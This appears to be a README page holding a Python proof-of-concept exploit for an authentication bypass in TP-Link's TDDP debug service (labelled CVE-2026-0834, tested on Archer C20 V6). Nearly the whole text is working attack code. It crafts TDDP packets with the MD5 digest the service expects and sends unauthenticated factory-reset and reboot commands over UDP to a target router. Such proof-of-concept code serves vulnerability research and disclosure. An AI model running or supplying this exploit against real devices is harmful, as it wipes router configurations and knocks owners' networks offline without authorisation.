README.md
Rendering markdown...
#!/usr/bin/env python3
"""
TP-Link Device Debug Protocol (TDDP) Authentication Bypass (CVE-2026-0834)
Author: Matt Graham (mattgsys)
CVE: CVE-2026-0834
Tested on:
- TP-Link Archer C20 V6, firmware 0.9.1 Build 4.20 (emulation)
- TP-Link Archer C20 V6, firmware 0.9.1 Build 4.19 (EU, hardware)
Memory offsets and command values may vary on other devices/versions.
This script sends factory reset (0x49) and reboot (0x4A) commands to the target device.
"""
import socket
import struct
import hashlib
import time
TARGET_IP = '192.168.0.1'
TARGET_PORT = 1040
SOURCE_PORT = 54321
def build_tddp_packet(version, msg_type, code=1, reply_info=0,
pkt_length=0, pkt_id=1, sub_type=0, reserved=0,
md5_digest=b'\x00' * 16):
"""Build TDDP packet header"""
header = struct.pack('>BBBBIHBB',
version, msg_type, code, reply_info,
pkt_length, pkt_id, sub_type, reserved
)
return header + md5_digest
def calculate_md5(packet):
"""Calculate and update MD5 digest for TDDP packet"""
packet = bytearray(packet)
packet[12:28] = b'\x00' * 16
packet[12:28] = hashlib.md5(packet[:28]).digest()
return bytes(packet)
def send_packet(packet, host=TARGET_IP, port=TARGET_PORT):
"""Send UDP packet to TDDP service"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('', SOURCE_PORT))
sock.settimeout(1)
try:
sock.sendto(packet, (host, port))
data, addr = sock.recvfrom(4096)
print(f"[+] Response from {addr}: {data.hex()}")
return True
except socket.timeout:
print("[-] No response")
return False
finally:
sock.close()
if __name__ == "__main__":
print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}")
# Factory reset (0x49)
print("[*] Sending factory reset command (0x49)...")
header = build_tddp_packet(version=2, msg_type=7, pkt_length=0)
header = calculate_md5(header)
payload = b'\x00' * 10 + b'\x49' + b'\x00' * 4
send_packet(header + payload)
print("[*] Waiting 1 second...")
time.sleep(1)
# Reboot (0x4A)
print("[*] Sending reboot command (0x4A)...")
header = build_tddp_packet(version=2, msg_type=7, pkt_length=0)
header = calculate_md5(header)
payload = b'\x00' * 10 + b'\x4A' + b'\x00' * 4
send_packet(header + payload)